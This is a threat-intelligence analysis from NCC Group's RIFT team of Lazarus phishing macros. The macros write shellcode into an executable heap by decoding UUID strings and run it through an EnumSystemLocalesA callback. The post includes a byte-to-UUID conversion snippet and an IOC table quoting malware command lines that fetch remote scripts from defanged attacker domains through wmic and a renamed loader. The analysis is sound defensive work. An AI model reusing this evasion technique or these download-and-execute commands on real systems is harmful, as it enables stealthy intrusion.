RIFT: Analysing a Lazarus Shellcode Execution Method

About the Research and Intelligence Fusion Team (RIFT):
RIFT leverages our strategic analysis, data science, and threat hunting capabilities to create actionable threat intelligence, ranging from IOCs and detection capabilities to strategic reports on tomorrow’s threat landscape. Cyber security is an arms race where both attackers and defenders continually update and improve their tools and ways of working. To ensure that our managed services remain effective against the latest threats, NCC Group operates a Global Fusion Center with Fox-IT at its core. This multidisciplinary team converts our leading cyber threat intelligence into powerful detection strategies.

On January 21st, the following malware sample was shared by CheckPoint research team via Twitter. The post mentions that this loader belongs to Lazarus group. The modus operandi of phishing with macro documents disguised as job descriptions (via LinkedIn), was also recently documented by ESET in their Operation In(ter)ception paper.

After analysing the macro document, and pivoting on the macro, NCC Group’s RIFT identified a number of other similar documents. In these documents we came across an interesting technique being used to execute shellcode from VBA without the use of common “suspicious” APIs, such as VirtualAlloc, WriteProcessMemory or CreateThread – which may be detected by end point protection solutions. Instead, the macro documents abuse “benign” Windows API features to achieve code-execution.

Shellcode Execution Technique

After extracting the macro, we can see that the VBA macro declares a number API calls. An alias is registered in an attempt to make these API calls appear less suspicious.

Once these are renamed, we can easily see what the macro is doing:

  1. First, macro execution is triggered using the “Microsoft Forms 2.0 Frame” ActiveX control, using the Frame1_Layout event.
  2. Once triggered, it creates a new executable heap via HeapCreate
  3. It then allocates some memory on the newly created heap using HeapAlloc
  4. It then calls FindImage1, FindImage2 and FindImage3 user defined VBA functions

Looking at the FindImage functions, we can notice something interesting. The code is using the UuidFromStringA Windows API function, and iterating through a large list of hardcoded UUID values, each time providing a pointer into to the previously allocated heap. This seems interesting as it appears to be a way of writing data to the (executable) heap!

If we check the Microsoft documentation for the UuidFromStringA function, we can see that it takes a string-based UUID and converts it to it’s binary representation. It takes a pointer to a UUID, which will be used to return the converted binary data. By providing a pointer to an heap address, this function can be (ab)used to both decode data and write it to memory without using common functions such as memcpy or WriteProcessMemory.

Microsoft uses little-endian byte-order for storing GUIDs in binary form. Converting shellcode bytes to a GUID string in Python is as simple as:

>>> u = '\xEF\x8B\x74\x1F\x1C\x48\x01\xFE\x8B\x34\xAE\x48\x01\xF7\x99\xFF'
>>> uuid.UUID(bytes_le=u)
UUID('1f748bef-481c-fe01-8b34-ae4801f799ff')

To convert it from a string to bytes:

>>> uuid.UUID('1f748bef-481c-fe01-8b34-ae4801f799ff').bytes_le
'\xef\x8bt\x1f\x1cH\x01\xfe\x8b4\xaeH\x01\xf7\x99\xff'

Looking back at the main function of the macro, we can see that after decoding the shellcode from UUID values and writing it to the heap, it calls then EnumSystemLocalesA.

Again, looking at the MSDN page, we find the following description:

From this we can deduce that the lpLocaleEnumProc parameter specifies a callback function! By providing the address returned previously by HeapAlloc, this function can be (ab)used to execute shellcode. Searching on the internet reveals that this technique was previously documented by Jeff White. Their blog lists a large number of other APIs which could be abused to achieve a similar result.

Re-Implementing in C

In order to experiment with the techniques used within these macro documents, we wrote a small shellcode execution harness, converting the VBA into C, to demonstrate execution of a benign calc shellcode. This may be useful for anyone wishing to study the technique or build further detection logic.

When we run the executable, we can see that the calc shellcode is written to the heap and executes when we call EnumSystemLocalA:

Decoding the Macro

The following script was created to extract and decode the shellcode from the sample. We confirmed that script works for other related samples we have in our dataset. Whilst some of them (such as the one shared by CheckPoint) are more heavily obfuscated, the shellcode encoding (via GUIDs) is the same.

Executing the extracted shellcode, we can confirm the IOCs that were shared in CheckPoint’s original Tweet, as well as the AnyRun report. Florian Roth also shared that this sample is detected with this Sigma rule.

Samples

The following samples were identified:

47a342545d8df9c2c1e0e945f2c4fca3a440dc00cff40727abff12d307c8c788
bdf9fffe1c9ffbeec307c536a2369eefb2a2c5d70f33a1646a15d6d152c2a6fa
cabb45c99ffd8dd189e4e3ed5158fac1d0de4e2782dd704b2b595db5f63e2610
949bfce2125d76f2d21084f187c681397d113e1bbdc550694a7bce7f451a6e69
f188eec1268fd49bdc7375fc5b77ded657c150875fede1a4d797f818d2514e88

IOCs

TypeDataFile HashSample
FolderC:\ProgramLogs\N/Af188eec1268fd49bdc7375fc5b77ded657c150875fede1a4d797f818d2514e88
Scheduled TaskC:\Windows\Tasks\ProgramLogsSrv.jobN/Af188eec1268fd49bdc7375fc5b77ded657c150875fede1a4d797f818d2514e88
Command LineC:\Windows\system32\wscript.EXE “C:\ProgramLogs\PerformLogs.vbs”N/Af188eec1268fd49bdc7375fc5b77ded657c150875fede1a4d797f818d2514e88
Command LineC:\ProgramLogs\AdvancedLog.exe /Q /i “hxxp://crmute[.]com/custom.css”N/Af188eec1268fd49bdc7375fc5b77ded657c150875fede1a4d797f818d2514e88
Command LineC:\Windows\System32\pcalua.exe -a “C:\ProgramLogs\AdvancedLog” -c /Q /i “hxxp://crmute[.]com/custom.css”N/Af188eec1268fd49bdc7375fc5b77ded657c150875fede1a4d797f818d2514e88
FileC:\ProgramLogs\NvWatchdog.binf188eec1268fd49bdc7375fc5b77ded657c150875fede1a4d797f818d2514e88
FileC:\ProgramLogs\AdvancedLog.exed6b55dae813a4acd461d1d36ff7ef2597b6a8112feb07fac0cfc46af963690dcf188eec1268fd49bdc7375fc5b77ded657c150875fede1a4d797f818d2514e88
FileC:\ProgramLogs\PerformLogs.vbsc0c8a97a04b4d3c7709760fcbe36dc61e3cec294ed4180069131df53b4211da3f188eec1268fd49bdc7375fc5b77ded657c150875fede1a4d797f818d2514e88
FileC:\ProgramLogs\wmp.dllN/A – copy of wmp.dllf188eec1268fd49bdc7375fc5b77ded657c150875fede1a4d797f818d2514e88
FolderC:\Windows\System32\Tasks\IntelGfxN/A949bfce2125d76f2d21084f187c681397d113e1bbdc550694a7bce7f451a6e69
Scheduled TaskC:\Windows\Tasks\IntelGfx.job949bfce2125d76f2d21084f187c681397d113e1bbdc550694a7bce7f451a6e69
FileC:\Intel\hidasvc.exeN/A – copy of wmic.exe949bfce2125d76f2d21084f187c681397d113e1bbdc550694a7bce7f451a6e69
Scheduled TaskC:\Windows\Tasks\OneDrive_{7F240FD2-1938-3F2C-D928-163749E2C782}.jobcabb45c99ffd8dd189e4e3ed5158fac1d0de4e2782dd704b2b595db5f63e2610
FolderC:\OneDriveN/A – copy of wmic.execabb45c99ffd8dd189e4e3ed5158fac1d0de4e2782dd704b2b595db5f63e2610
FileC:\Intel\hidasvc.exeN/A – copy of wmic.exebdf9fffe1c9ffbeec307c536a2369eefb2a2c5d70f33a1646a15d6d152c2a6fa
Scheduled TaskC:\Windows\Tasks\IntelGfx.jobbdf9fffe1c9ffbeec307c536a2369eefb2a2c5d70f33a1646a15d6d152c2a6fa
Command Line%COMSPEC% /c Start /miN c:\Intel\hidasvc ENVIRONMENT get STATUS /FORMAT:”hxxps://www.advantims[.]com/GfxCPL.xsl”N/Abdf9fffe1c9ffbeec307c536a2369eefb2a2c5d70f33a1646a15d6d152c2a6fa
Command Line%COMSPEC% /c START /MIN C:\OneDrive\OneDriveSync ENVIRONMENT GET STATUS /FORMAT:”hxxps://www.advantims[.]com/Sync.xsl”cabb45c99ffd8dd189e4e3ed5158fac1d0de4e2782dd704b2b595db5f63e2610

References